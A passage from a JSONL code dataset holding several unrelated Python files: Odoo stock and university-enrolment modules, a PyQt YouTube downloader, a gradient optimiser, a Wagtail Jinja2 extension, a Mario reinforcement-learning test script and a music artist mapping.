self:\n for line in det.item_ids:\n line.sourceloc_id = self.location\n if self and self[0]:\n return self[0].wizard_view()\n\n @api.multi\n def update_dest(self):\n for det in self:\n for line in det.item_ids:\n line.destinationloc_id = self.location_dest\n if self and self[0]:\n return self[0].wizard_view()\n\n location = fields.Many2one('stock.location', 'Source Location',\n help=\"Sets a location if you produce at a fixed location. This can be a partner location if you subcontract the manufacturing operations.\")\n location_dest = fields.Many2one('stock.location', 'Destination Location', help=\"Location where the system will stock the finished products.\")\n\nclass stock_move(models.Model):\n _inherit = \"stock.move\"\n\n def onchange_product_id(self, cr, uid, ids, prod_id=False, loc_id=False, loc_dest_id=False, partner_id=False):\n res = super(stock_move, self).onchange_product_id(cr, uid, ids, prod_id, loc_id, loc_dest_id, partner_id)\n qty = self.onchange_location(cr, uid, ids, prod_id, loc_id, loc_dest_id)['value']\n if not res:\n return res\n res['value']['qty_source'] = qty['qty_source']\n res['value']['qty_dest'] = qty['qty_dest']\n return res\n\n def onchange_location(self, cr, uid, ids, product_id, location_id, location_dest_id, context=None):\n if not context:\n context = {}\n qty_source = 0.0\n qty_dest = 0.0\n product_obj = self.pool.get('product.product')\n ctx = context.copy()\n if not product_id:\n return {'value': {'qty_source': 0,'qty_dest': 0}}\n if location_id:\n ctx['location'] = location_id\n qty_source = product_obj._product_available(cr, uid, [product_id], context=ctx)[product_id]['qty_available']\n if location_dest_id:\n ctx['location'] = location_dest_id\n qty_dest = product_obj._product_available(cr, uid, [product_id], context=ctx)[product_id]['qty_available']\n return {'value': {'qty_source': qty_source, 'qty_dest': qty_dest}}\n\n @api.one\n def _get_qty(self):\n return {}\n\n qty_source = fields.Float(compute='_get_qty', string='Quantity', digits_compute=dp.get_precision('Product Unit of Measure'))\n qty_dest = fields.Float(compute='_get_qty', string='Quantity', digits_compute=dp.get_precision('Product Unit of Measure'))\n\n","sub_path":"prooaddons/stock_internal_location/stock_picking.py","file_name":"stock_picking.py","file_ext":"py","file_size_in_byte":3747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"627004349","text":"import sys\nfrom PyQt5.QtWidgets import *\nfrom PyQt5 import QtCore\nfrom PyQt5 import uic\nfrom PyQt5.QtCore import *\nimport pytube\nimport os\nimport re\nimport subprocess\nfrom ui.Design import Ui_MainWindow\n\nclass YoutubeDownloader(QMainWindow, Ui_MainWindow) :\n def __init__(self) :\n super().__init__()\n\n self.setupUi(self)\n self.setWindowTitle('Youtube Downloader v1.0')\n\n self.comboBox.addItem('mp3')\n self.comboBox.addItem('avi')\n self.comboBox.addItem('mov')\n self.comboBox.addItem('wmv')\n\n self.initSignal()\n self.statusbar.showMessage('Ready.')\n\n # 시그널 초기화\n def initSignal(self) :\n self.downloadButton.clicked.connect(self.downloadWork)\n self.toolButton.clicked.connect(self.savePathWork)\n\n # 툴 박스 눌렀을 때\n @pyqtSlot()\n def savePathWork(self) :\n fpath = QFileDialog.getExistingDirectory(self, 'Select the Directory')\n self.saveTextEdit.setText(fpath)\n\n # 다운로드 버튼 눌렀을 때\n @pyqtSlot()\n def downloadWork(self) :\n # Step #1. url 주소 확인\n url = self.urlTextEdit.text().strip()\n save = self.saveTextEdit.text()\n regex = re.compile('^https://www.youtube.com/watch?')\n\n if url is None or url == '' or not url :\n QMessageBox.about(self, 'Error', 'Enter the Video Url')\n self.urlTextEdit.setFocus(True)\n return None\n\n if save is None or save == '' or not save :\n QMessageBox.about(self, 'Error', 'Select the Directory')\n return None\n\n # Step #2. download 진행\n if regex.match(url) is not None :\n # 동영상 먼저 다운로드\n self.statusbar.showMessage('downloading')\n\n video = pytube.YouTube(url)\n stream = video.streams.all()\n down_dir = self.saveTextEdit.text()\n stream[0].download(down_dir)\n\n # Step #3. 체크박스 값 확인\n if self.checkBox.isChecked() :\n oriFiileName = stream[0].default_filename\n newFileName = os.path.splitext(oriFiileName)[0]\n\n # print(str(self.comboBox.currentText()))\n subprocess.call(['ffmpeg','-i',\n os.path.join(down_dir, oriFiileName),\n os.path.join(down_dir, newFileName + '.' + str(self.comboBox.currentText()))\n ])\n self.statusbar.showMessage('Finished')\n\n else :\n QMessageBox.about(self,'Error', '유튜브 url형식이 아닙니다.')\n\nif __name__ == '__main__' :\n app = QApplication(sys.argv)\n you_viewer_main = YoutubeDownloader()\n you_viewer_main.show()\n app.exec_()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"426551349","text":"import numpy as np\nfrom numpy import linalg as LA\nfrom math import sqrt\n\nclass Functional():\n def __init__(self, input_func, input_lims, dimensions, input_func_str = \"функция многих переменных\", silent = 1):\n self.func = input_func\n #self.func1d = input_func1d\n self.input_func_str = input_func_str\n self.limits = input_lims\n self.u_k = np.array([np.random.uniform(input_lims[i][0], input_lims[i][1], 1) for i in range(dimensions)]).reshape(dimensions) # начальная точка, каждая координата которой удовлетворяет ограничениям на множество\n self.u_k_line = np.zeros(dimensions).tolist()\n self.alpha_k = 0\n self.silent = silent\n print(\"Минимизируемый функционал:\", self.input_func_str)\n print(\"Ограничения на множество:\")\n for i in range(dimensions):\n print(\"%f <= x_%i <= %f\" %(self.limits[i][0], i, self.limits[i][1]))\n\n def Gradient(self, point):\n grad = []\n dim = len(point)\n h = 0.0001 #обдумать этот моментик\n for pos, num in enumerate(point):\n dimension_f = np.array(point)\n dimension_b = np.array(point)\n dimension_f[pos] += h #шаг вперед\n dimension_b[pos] -= h #шаг назад\n grad.append((self.func(dimension_f.tolist()) - self.func(dimension_b.tolist())) / (2 * h)) # центральная производная\n return np.array(grad)\n\n def Hessian(self, point):\n hess = []\n dim = len(point)\n h = 0.0001 #обдумать этот моментик\n for pos1, num1 in enumerate(point):\n partial_derivative = []\n for pos2, num2 in enumerate(point):\n dimension_f = np.array(point)\n dimension_m = np.array(point)\n dimension_b = np.array(point)\n if pos1 == pos2:\n dimension_f[pos1] = num1 + h #шаг вперед\n dimension_m[pos1] = num1 #центральная точка\n dimension_b[pos1] = num1 - h #шаг назад\n partial_derivative.append((self.func(dimension_f.tolist()) + self.func(dimension_b.tolist()) - 2*self.func(dimension_m.tolist())) / (h**2))\n else:\n dimension_f[pos1] += h #шаг вперед, координата 1\n dimension_b[pos1] -= h #шаг назад, координата 1\n dimension_f[pos2] += h #фиксируем координату 2\n dimension_b[pos2] += h #фиксируем координату 2\n der1 = (self.func(dimension_f.tolist()) - self.func(dimension_b.tolist())) / (2 * h) #производная по координате 1\n dimension_f[pos1] = num1 + h\n dimension_b[pos1] = num1 - h\n dimension_f[pos2] -= h #шаг вперед, координата 2\n dimension_b[pos2] -= h #шаг назад, координата 2\n der2 = (der1 - (self.func(dimension_f.tolist()) - self.func(dimension_b.tolist())) / (2 * h)) / (1 * h) #производная по координате 2\n partial_derivative.append(der2)\n hess.append(partial_derivative)\n return np.array(hess)\n\n def FindMin(self, a = 0.0, c = 1.0, flt_num = 3, precision = 1000000): # метод покрытий для минимизации ф-ии одной переменной\n eps = (0.01)**flt_num\n delta = (c - a)/precision\n x = a + eps\n values = []\n while x <= c - eps:\n values.append(self.func(self.u_k + x*(self.u_k_line - self.u_k)))\n x += delta\n return a + eps + delta*values.index(min(values)), min(values)\n\n\n\n def Optimize(self, flt_num = 3): # вычисляет оптимальную точку\n eps = (0.1)**flt_num\n coefs = self.Gradient(self.u_k)\n self.u_k_line = np.array([self.limits[i][int(coefs[i] <= 0)] for i in range(len(self.limits))])\n self.alpha_k = self.FindMin()[0]\n u_k_next = (self.u_k + self.alpha_k*(self.u_k_line - self.u_k)).tolist()\n if self.silent == 0:\n print(\"\\nТекущее значение u_k:\", self.u_k)\n print(\"Текущее значение u_k_с_чертой:\", self.u_k_line)\n print(\"Текущее значение alpha_k:\", self.alpha_k)\n print(\"Текущее значение u_k+1:\", u_k_next)\n while round(LA.norm(np.array(u_k_next) - self.u_k), flt_num) >= eps:\n self.u_k = u_k_next\n coefs = self.Gradient(self.u_k)\n self.u_k_line = np.array([self.limits[i][int(coefs[i] <= 0)] for i in range(len(self.limits))])\n self.alpha_k = self.FindMin()[0]\n u_k_next = (self.u_k + self.alpha_k*(self.u_k_line - self.u_k)).tolist()\n if self.silent == 0:\n print(\"\\nТекущее значение u_k:\", self.u_k)\n print(\"Текущее значение u_k_с_чертой:\", self.u_k_line)\n print(\"Текущее значение alpha_k:\", self.alpha_k)\n print(\"Текущее значение u_k+1:\", u_k_next)\n print(\"\\nОптимизация завершена\")\n print(\"Минимальное знаение функционала:\", self.func(u_k_next))\n print(\"Точка минимума:\", u_k_next)","sub_path":"cmc_practice/conditional_gradient/cond_grad.py","file_name":"cond_grad.py","file_ext":"py","file_size_in_byte":5681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"467639111","text":"from __future__ import absolute_import\n\ntry:\n import jinja2\n from jinja2.ext import Extension\nexcept:\n Extension = object\n\nfrom .wagtailuserbar import wagtailuserbar\n\n\nclass WagtailUserbarExtension(Extension):\n def __init__(self, environment):\n super(WagtailUserbarExtension, self).__init__(environment)\n\n self.environment.globals.update({\n 'wagtailuserbar': jinja2.contextfunction(wagtailuserbar),\n })\n\n\n# Nicer import names\nuserbar = WagtailUserbarExtension\n","sub_path":"wagtail/wagtailadmin/templatetags/jinja2.py","file_name":"jinja2.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"589003226","text":"\"\"\"\n@author: Viet Nguyen \n\"\"\"\n\nimport os\nfrom gym import utils\nos.environ['OMP_NUM_THREADS'] = '1'\nimport argparse\nimport torch\nfrom src.env import create_train_env\nfrom src.model import ActorCritic\nimport torch.nn.functional as F\nimport time\nimport random\nfrom gym.envs.classic_control import rendering\nimport pyglet\nfrom shutil import copyfile\nfrom gym_super_mario_bros.actions import SIMPLE_MOVEMENT, COMPLEX_MOVEMENT, RIGHT_ONLY\n\ndef get_args():\n parser = argparse.ArgumentParser(\n \"\"\"Implementation of model described in the paper: Asynchronous Methods for Deep Reinforcement Learning for Super Mario Bros\"\"\")\n parser.add_argument(\"--world\", type=int, default=1)\n parser.add_argument(\"--stage\", type=int, default=1)\n parser.add_argument(\"--action_type\", type=str, default=\"complex\")\n parser.add_argument(\"--saved_path\", type=str, default=\"trained_models\")\n parser.add_argument(\"--output_path\", type=str, default=None)\n args = parser.parse_args()\n return args\n\n\ndef test(opt):\n viewer = rendering.SimpleImageViewer()\n viewer.width = 800 * 2\n viewer.height = 600 * 2\n #1920x1080\n viewer.window = pyglet.window.Window(width=viewer.width, height=viewer.height, resizable=True)\n \n torch.manual_seed(123)\n if opt.output_path != None:\n env, num_states, num_actions = create_train_env(opt.world, opt.stage, opt.action_type,\n \"{}/video_{}_{}.mp4\".format(opt.output_path, opt.world, opt.stage))\n else:\n env, num_states, num_actions = create_train_env(opt.world, opt.stage, opt.action_type,None)\n model = ActorCritic(num_states, num_actions)\n if torch.cuda.is_available():\n model.load_state_dict(torch.load(\"{}/a3c_super_mario_bros_{}_{}\".format(opt.saved_path, opt.world, opt.stage)))\n model.cuda()\n else:\n model.load_state_dict(torch.load(\"{}/a3c_super_mario_bros_{}_{}\".format(opt.saved_path, opt.world, opt.stage),\n map_location=lambda storage, loc: storage))\n model.eval()\n state = torch.from_numpy(env.reset())\n done = True\n max_x_pos = 0\n max_x_pos_counter = 0\n while True:\n if done:\n h_0 = torch.zeros((1, 512), dtype=torch.float)\n c_0 = torch.zeros((1, 512), dtype=torch.float)\n print('done')\n max_x_pos = 0\n max_x_pos_counter = 0\n env.reset()\n done = False\n else:\n h_0 = h_0.detach()\n c_0 = c_0.detach()\n if torch.cuda.is_available():\n h_0 = h_0.cuda()\n c_0 = c_0.cuda()\n state = state.cuda()\n\n logits, value, h_0, c_0 = model(state, h_0, c_0)\n policy = F.softmax(logits, dim=1)\n action = torch.argmax(policy).item()\n action = int(action)\n state, reward, done, info = env.step(action)\n rgb = env.render('rgb_array')\n state = torch.from_numpy(state)\n \n viewer.imshow(rgb)\n if max_x_pos_counter < 50:\n time.sleep(0.06)\n if reward < 0:\n max_x_pos_counter += 1\n if max_x_pos_counter > 150:\n print('no progress, stopping')\n done = True\n \n if info[\"flag_get\"]:\n print(\"World {} stage {} completed\".format(opt.world, opt.stage))\n done = True\n copyfile(\"{}/a3c_super_mario_bros_{}_{}\".format(opt.saved_path, opt.world, opt.stage), \"{}/a3c_super_mario_bros_{}_{}_{}\".format(opt.saved_path, info[\"world\"], info[\"stage\"],random.random()))\n print(reward,COMPLEX_MOVEMENT[action])\n print('done testing')\n\nclass Namespace:\n def __init__(self, **kwargs):\n self.__dict__.update(kwargs)\nif __name__ == \"__main__\":\n opt = get_args()\n test(opt)\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"188022448","text":"artist_dictionary = {\n \"Travi$ Scott\": \"Travis Scott\"\n , \"Lil' Wayne\": \"Lil Wayne\"\n , \"United Pursuit Band\": \"United Pursuit\"\n , \"Christ for the Nations Institute\": \"Christ for the Nations Worship\"\n , \"Dram\": \"Shelley FKA DRAM\"\n , \"Cam'ron\": \"Cam’ron\"\n , \"Musiq\": \"Musiq Soulchild\"\n , \"D'Angelo\": \"DAngelo\"\n , \"Big Punisher\": \"Big Pun\"\n , \"OFWGKTA\": \"Odd Future\"\n}\n\ngenre_dictionary = {\n \"Maverick City Music\": \"christian\"\n , \"Sunday Service Choir\": \"gospel\"\n , \"Peter Cottontale\": \"gospel\"\n , \"Young Jeezy\": \"hip hop\"\n , \"YBN Cordae\": \"hip hop\"\n}\n","sub_path":"playlist-creation/common/artist_mapping.py","file_name":"artist_mapping.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"122466491","text":"# -*- coding: utf-8 -*-\n##############################################################################\n#\n# Programa realizado por, Jeison Pernía y Jonathan Reyes en el marco\n# del plan de estudios de la Universidad Nacional Experimental\n# Politécnica de la Fuerza Armada, como TRABAJO ESPECIAL DE GRADO,\n# con el fin de optar al título de Ingeniero de Sistemas.\n# \n# Visitanos en http://juventudproductivabicentenaria.blogspot.com\n#\n##############################################################################\nfrom openerp.osv import fields, osv\nfrom datetime import datetime, date, time, timedelta\nfrom dateutil.relativedelta import * \nfrom openerp.tools.translate import _\nfrom openerp import SUPERUSER_ID\nimport re\nimport random\n\n\ndef filtrar_carreras_regimen_general(self,cr,uid,ids,context=None):\n value={}\n objeto_users=self.pool.get('res.users')\n id_users=objeto_users.search(cr,uid,[('id','=',int(uid))])\n data_users=objeto_users.browse(cr,uid,id_users)\n for name in data_users:\n if name.is_estudiante == True:\n obj_users_estudiante=self.pool.get('unefa.usuario_estudiante')\n id_users_estudiante=obj_users_estudiante.search(cr,uid,[('user_id','=',uid)])\n data_users_estudiante=obj_users_estudiante.browse(cr,uid,id_users_estudiante)\n estudiante = data_users_estudiante['id']\n value={\n 'carrera_id':data_users['carrera_id'],\n 'user_id':estudiante,\n }\n else:\n if name.is_coordinador == True or name.is_asistente == True:\n value={\n 'carrera_id':data_users['coordinacion_id']['carrera_id'],\n }\n return {'value':value}\n \n \nclass unefa_inscripcion_asignatura(osv.osv):\n _name='unefa.inscripcion_asignatura'\n _rec_name='user_id'\n \n _columns={ \n 'carrera_id': fields.many2one('unefa.carrera', 'Carrerra', readonly=False,required=True,states={'inscrito': [('readonly', True)]},help='Carrera en la que está inscrito el estudiante', ),\n 'user_id': fields.many2one('unefa.usuario_estudiante','Estudiante', readonly=False,required=True,states={'preinscrito': [('readonly', True)],'inscrito': [('readonly', True)]},),\n 'fecha_inscripcion':fields.date('Fecha de Inscripción',required=True,readonly=True, help='Fecha de la inscripción de asignaturas actual del estudiante',),\n 'periodo_id':fields.many2one('unefa.conf.periodo_academico','Período Académico', required=True,states={'preinscrito': [('readonly', True)],'inscrito': [('readonly', True)]},),\n 'asignaturas_inscritas_ids':fields.one2many('unefa.asignatura_inscritas', 'inscripcion_id', 'Asignaturas', states={'inscrito': [('readonly', True)]},required=True,help='Asignaturas relacionadas al pensum'),\n 'state':fields.selection([('borrador','Borrador'),('cancelado','Cancelado'),('preinscrito','Preinscrito'),('inscrito','Inscrito')],'Estatus', help='Estatus de la inscripción de asignaturas'),\n 'observaciones': fields.text('Observaciones',states={'inscrito': [('readonly', True)]},) ,\n }\n \n _defaults = {\n 'active':True,\n 'fecha_inscripcion':date.today(), \n }\n \n _sql_constraints = [\n ('inscripcion_uniq', 'unique(carrera_id,user_id,periodo_id)', 'Ya tiene un registro para éste período académico.')\n ]\n \n _order = 'create_date desc, id desc'\n \n def crear_planilla_inscripcion(self,cr,uid,ids,context=None):\n url='/descargar/planilla_inscripcion/%d' %ids[0]\n return {\n 'type': 'ir.actions.act_url',\n 'url':url,\n 'target': 'new',\n }\n \n def preinscribir_asignaturas(self, cr, uid, ids, context=None):\n res_user_obj=self.pool.get('res.users')\n res_user_ids=res_user_obj.search(cr,uid,[('id','=',uid)],context=context)\n res_user_datos=res_user_obj.browse(cr,uid,res_user_ids,context=context)\n if res_user_datos['is_coordinador']==True or res_user_datos['is_asistente']==True:\n carrera_id=res_user_datos['coordinacion_id']['carrera_id']['id']\n turno=res_user_datos['coordinacion_id']['regimen']\n else:\n carrera_id=res_user_datos['carrera_id']['id']\n turno=res_user_datos['regimen']\n \n hoy=date.today()\n for i in self.browse(cr,uid,ids,context=context):\n pensum_id=i.user_id.pensum_id.id\n planificacion_semestre_obj=self.pool.get('unefa.planificacion_semestre')\n planificacion_semestre_ids=planificacion_semestre_obj.search(cr,uid,[('periodo_id','=',int(i.periodo_id)),('carrera_id','=',int(carrera_id)),('turno','=',turno),('state','=','aprobado')])\n planificacion_semestre_datos=planificacion_semestre_obj.browse(cr,uid,planificacion_semestre_ids,context=context)\n if len(planificacion_semestre_ids)==1:\n for p in planificacion_semestre_datos:\n for a in p.actividad_ids:\n fecha_desde=datetime.strptime(a.fecha_desde, '%Y-%m-%d')\n fecha_desde =datetime.date(fecha_desde)\n fecha_hasta=datetime.strptime(a.fecha_hasta, '%Y-%m-%d')\n fecha_hasta =datetime.date(fecha_hasta)\n if res_user_datos['is_coordinador'] != True:\n if a.actividad_id.actividad==\"PREINSCRIPCIÓN\":\n if (cmp(fecha_desde,hoy)==-1 and cmp(hoy,fecha_hasta)==-1) or (cmp(fecha_desde,hoy)==0) or (cmp(hoy,fecha_hasta)==0):\n inscripcion_asignatura_obj=self.pool.get('unefa.asignatura_inscritas')\n self.validar_inscripcion_horarios(cr,uid,ids,carrera_id,turno)\n inscripcion_asignatura_ids=inscripcion_asignatura_obj.search(cr,uid,[('inscripcion_id','=',i.id)],context=context)\n inscripcion_asignatura_obj.write(cr,uid,inscripcion_asignatura_ids,{'state':'preinscrito'},context=context)\n self.write(cr,uid,ids,{'state':'preinscrito'},0)\n else:\n raise osv.except_osv(\n ('Alerta!'),\n (u'El proceso de preinscricpción no esta habilitado'))\n else:\n inscripcion_asignatura_obj=self.pool.get('unefa.asignatura_inscritas')\n inscripcion_asignatura_ids=inscripcion_asignatura_obj.search(cr,uid,[('inscripcion_id','=',i.id)])\n self.validar_inscripcion_horarios(cr,uid,ids,carrera_id,turno,pensum_id)\n inscripcion_asignatura_obj.write(cr,uid,inscripcion_asignatura_ids,{'state':'preinscrito'})\n self.write(cr,uid,ids,{'state':'preinscrito'},0)\n else:\n raise osv.except_osv(\n ('Alerta!'),\n (u'El proceso de preinscricpción no esta habilitado'))\n \n \n return True\n \n def validar_inscripcion_horarios(self,cr,uid,ids,carrera_id,turno,context=None):\n dias_obj=self.pool.get('unefa.horario_dias')\n horarios_obj=self.pool.get('unefa.horarios')\n horarios_seccion_obj=self.pool.get('unefa.horarios_seccion')\n horarios_seccion_datos_obj=self.pool.get('unefa.horarios_seccion_datos')\n list_horas_turno=[]\n list_asignaturas_inscritas=[]\n list_dias=['Lunes','Martes','Miercoles','Jueves','Viernes']\n for records in self.browse(cr,uid,ids):\n periodo_id=records.periodo_id.id\n horarios_id=horarios_obj.search(cr,uid,[('carrera_id','=',carrera_id),('turno','=',turno),('periodo_id','=',periodo_id),])\n horarios_seccion_id=horarios_seccion_obj.search(cr,uid,[('horario_id','in',horarios_id)])\n for asignaturas in records.asignaturas_inscritas_ids:\n \n if asignaturas.inscripcion_especial!=True:\n list_asignaturas_inscritas.append(asignaturas.asignatura_id.id)\n else:\n if asignaturas.asignatura_relacion_id.id!=False:\n list_asignaturas_inscritas.append(asignaturas.asignatura_relacion_id.id)\n list_hora_dia_asignatura=[]\n for dia in list_dias:\n dias_id=dias_obj.search(cr,uid,[('dia','=',dia)])\n horarios_seccion_datos_id=horarios_seccion_datos_obj.search(cr,uid,[('secciones_horario_id','in',horarios_seccion_id),('dia_id','in',dias_id),('asignatura_id','in',list_asignaturas_inscritas),])\n horarios_seccion_datos_data=horarios_seccion_datos_obj.browse(cr,uid,horarios_seccion_datos_id)\n for ho in horarios_seccion_datos_data:\n list_hora_dia_asignatura.append(ho.hora_id.id)\n list_hora_dia_asignatura_f = list(set(list_hora_dia_asignatura))\n if len(list_hora_dia_asignatura_f)!=len(list_hora_dia_asignatura):\n raise osv.except_osv(\n ('Error!'),\n (u'Usted esta registrando materias en horario simultaneo el día %s , consulte los horarios')%(dia))\n list_hora_dia_asignatura=[]\n return True\n \n def inscribir_asignaturas(self, cr, uid, ids, context=None):\n res_user_obj=self.pool.get('res.users')\n res_user_ids=res_user_obj.search(cr,uid,[('id','=',uid)],context=context)\n res_user_datos=res_user_obj.browse(cr,uid,res_user_ids,context=context)\n if res_user_datos['is_coordinador']==True or res_user_datos['is_asistente']==True:\n carrera_id=res_user_datos['coordinacion_id']['carrera_id']['id']\n turno=res_user_datos['coordinacion_id']['regimen']\n else:\n carrera_id=res_user_datos['carrera_id']['id']\n turno=res_user_datos['regimen']\n hoy=date.today()\n cantidad_estudiantes_obj=self.pool.get('unefa.cantidad_estudiantes')\n asignatura_inscritas_obj=self.pool.get('unefa.asignatura_inscritas')\n for i in self.browse(cr,uid,ids,context=context):\n for asignatura in i.asignaturas_inscritas_ids:\n if asignatura.inscripcion_especial==True:\n carrera_id=i.user_id.carrera_id.id\n turno=i.user_id.regimen\n cantidad_estudiantes_id=cantidad_estudiantes_obj.search(cr,uid,[('carrera_id','=',carrera_id),('turno','=',turno)])\n cantidad_estudiantes_data=cantidad_estudiantes_obj.browse(cr,uid,cantidad_estudiantes_id)\n cantidad_maxima=cantidad_estudiantes_data['cantidad_maxima']\n asignatura_inscritas_ids=asignatura_inscritas_obj.search(cr,uid,[('seccion_id','=',asignatura.seccion_id.id),('asignatura_id','=',asignatura.asignatura_id.id)])\n asignatura_inscritas_especial_ids=asignatura_inscritas_obj.search(cr,uid,[('seccion_id','=',asignatura.seccion_id.id),('asignatura_relacion_id','=',asignatura.asignatura_id.id),('state','=','inscrito')])\n list_alumnos=list(set(asignatura_inscritas_ids) | set(asignatura_inscritas_especial_ids))\n if len(list_alumnos)>cantidad_maxima:\n raise osv.except_osv(\n ('Atención, Se ha excedido el límite de alumnos para una sección!'),\n (u'La sección %s, no tiene cupos habilitados para inscripción en la asignatura %s.')%(asignatura.seccion_id.seccion,asignatura.asignatura_id.asignatura))\n planificacion_semestre_obj=self.pool.get('unefa.planificacion_semestre')\n planificacion_semestre_ids=planificacion_semestre_obj.search(cr,uid,[('periodo_id','=',int(i.periodo_id)),('carrera_id','=',int(carrera_id)),('turno','=',turno),('state','=','aprobado')])\n planificacion_semestre_datos=planificacion_semestre_obj.browse(cr,uid,planificacion_semestre_ids,context=context)\n if len(planificacion_semestre_ids)==1:\n for p in planificacion_semestre_datos:\n for a in p.actividad_ids:\n fecha_desde=datetime.strptime(a.fecha_desde, '%Y-%m-%d')\n fecha_desde =datetime.date(fecha_desde)\n fecha_hasta=datetime.strptime(a.fecha_hasta, '%Y-%m-%d')\n fecha_hasta =datetime.date(fecha_hasta)\n if res_user_datos['is_coordinador'] != True:\n if a.actividad_id.actividad==\"INSCRIPCIÓN\":\n if (cmp(fecha_desde,hoy)==-1 and cmp(hoy,fecha_hasta)==-1) or (cmp(fecha_desde,hoy)==0) or (cmp(hoy,fecha_hasta)==0):\n inscripcion_asignatura_obj=self.pool.get('unefa.asignatura_inscritas')\n self.validar_prelacion_asignatura(cr,uid,ids)\n self.validar_inscripcion_horarios(cr,uid,ids,carrera_id,turno)\n self.validar_inscripcion_asignatura_aprobadas(cr,uid,ids)\n inscripcion_asignatura_ids=inscripcion_asignatura_obj.search(cr,uid,[('inscripcion_id','=',i.id)],context=context)\n inscripcion_asignatura_obj.write(cr,uid,inscripcion_asignatura_ids,{'state':'inscrito'},context=context)\n self.write(cr,uid,ids,{'state':'inscrito'},0)\n else:\n raise osv.except_osv(\n ('Alerta!'),\n (u'El proceso de inscripción no esta habilitado'))\n else:\n inscripcion_asignatura_obj=self.pool.get('unefa.asignatura_inscritas')\n self.validar_inscripcion_horarios(cr,uid,ids,carrera_id,turno)\n self.validar_prelacion_asignatura(cr,uid,ids)\n self.validar_inscripcion_asignatura_aprobadas(cr,uid,ids)\n inscripcion_asignatura_ids=inscripcion_asignatura_obj.search(cr,uid,[('inscripcion_id','=',i.id)])\n inscripcion_asignatura_obj.write(cr,uid,inscripcion_asignatura_ids,{'state':'inscrito'})\n self.write(cr,uid,ids,{'state':'inscrito'},0)\n else:\n raise osv.except_osv(\n ('Alerta!'),\n (u'El proceso de inscripción no esta habilitado'))\n #~ print stop\n return True\n \n def validar_prelacion_asignatura(self,cr,uid,ids,context=None):\n gestion_semestre_obj=self.pool.get('unefa.gestion_semestre')\n notas_migradas_obj = self.pool.get('unefa.notas_migracion')\n list_periodo_ids=[]\n list_validacion=[]\n list_nota_migraga = []\n for registros in self.browse(cr,uid,ids):\n pensum_id=registros.user_id.pensum_id.id\n estudiante_id=registros.user_id.id\n inscripcion_ids=self.search(cr,uid,[('user_id','=',registros.user_id.id)])\n inscripcion_data=self.browse(cr,uid,inscripcion_ids)\n for periodos in inscripcion_data:\n list_periodo_ids.append(periodos.periodo_id.id)\n for asignatura in registros.asignaturas_inscritas_ids:\n if len(asignatura.asignatura_id.asignaturas_ids)>0:\n for prelacion in asignatura.asignatura_id.asignaturas_ids:\n notas_migradas_ids=notas_migradas_obj.search(cr,uid,\n [('estudiante_id','=',registros.user_id.id),\n ('asignatura_id','=',prelacion.id),\n ('calificacion','>=',10) \n ])\n if len(notas_migradas_ids):\n notas_migradas_data=notas_migradas_obj.browse(cr,uid,notas_migradas_ids)\n for notasm in notas_migradas_data:\n list_validacion.append(notasm.id)\n gestion_semestre_ids=gestion_semestre_obj.search(cr,uid,[('asignatura_id','=',prelacion.id),('periodo_id','in',list_periodo_ids)])\n gestion_semestre_data=gestion_semestre_obj.browse(cr,uid,gestion_semestre_ids)\n for gestion in gestion_semestre_data:\n for pensum in gestion.actas_ids:\n if pensum.pensum_id.id==pensum_id:\n for notas in pensum.notas_ids:\n if notas.estudiante_id.id==estudiante_id:\n if int(notas.definitiva)>=10:\n list_validacion.append(notas.id)\n else:\n for pensumr in gestion.actas_recuperacion_ids:\n if pensumr.pensum_id.id==pensum_id:\n for notasr in pensumr.notas_ids:\n if notasr.estudiante_id.id==estudiante_id:\n if notasr.calificacion!='NP':\n if int(notasr.calificacion)>=10:\n list_validacion.append(notasr.id)\n \n if len(list_validacion) < len (asignatura.asignatura_id.asignaturas_ids):\n raise osv.except_osv(\n ('Alerta!'),\n (u'Esta intentando inscribir una asignatura que se encuentra prelada ('+asignatura.asignatura_id.asignatura+').'))\n list_validacion=[]\n return True\n \n def validar_inscripcion_asignatura_aprobadas(self,cr,uid,ids,context=None):\n gestion_semestre_obj=self.pool.get('unefa.gestion_semestre')\n list_periodo_ids=[]\n list_validacion=[]\n for registros in self.browse(cr,uid,ids):\n pensum_id=registros.user_id.pensum_id.id\n estudiante_id=registros.user_id.id\n inscripcion_ids=self.search(cr,uid,[('user_id','=',registros.user_id.id)])\n inscripcion_data=self.browse(cr,uid,inscripcion_ids)\n for periodos in inscripcion_data:\n list_periodo_ids.append(periodos.periodo_id.id)\n for asignatura in registros.asignaturas_inscritas_ids:\n gestion_semestre_ids=gestion_semestre_obj.search(cr,uid,[('asignatura_id','=',asignatura.asignatura_id.id),('periodo_id','in',list_periodo_ids)])\n if len(gestion_semestre_ids)!=0:\n gestion_semestre_data=gestion_semestre_obj.browse(cr,uid,gestion_semestre_ids)\n for gestion in gestion_semestre_data:\n for pensum in gestion.actas_ids:\n if pensum.pensum_id.id==pensum_id:\n for notas in pensum.notas_ids:\n if notas.estudiante_id.id==estudiante_id:\n if int(notas.definitiva)>=10:\n raise osv.except_osv(\n ('Alerta!'),\n (u'Esta intentando inscribir una asignatura aprobada.'))\n else:\n for pensumr in gestion.actas_recuperacion_ids:\n if pensumr.pensum_id.id==pensum_id:\n for notasr in pensumr.notas_ids:\n if notasr.estudiante_id.id==estudiante_id:\n if notasr.calificacion!='NP':\n if int(notasr.calificacion)>=10:\n raise osv.except_osv(\n ('Alerta!'),\n (u'Esta intentando inscribir una asignatura aprobada.'))\n return True\n \n def filtrar_carreras_regimen(self,cr,uid,ids,context=None):\n return filtrar_carreras_regimen_general(self,cr,uid,ids)\n \n def validar_asignatura_create(self,cr,uid,ids,asignaturas_ids,carrera,turno,context=None):\n list_uc = []\n list_asignatura_ids = []\n unidades_credito_obj=self.pool.get('unefa.cantidad_unidades_credito')\n \n 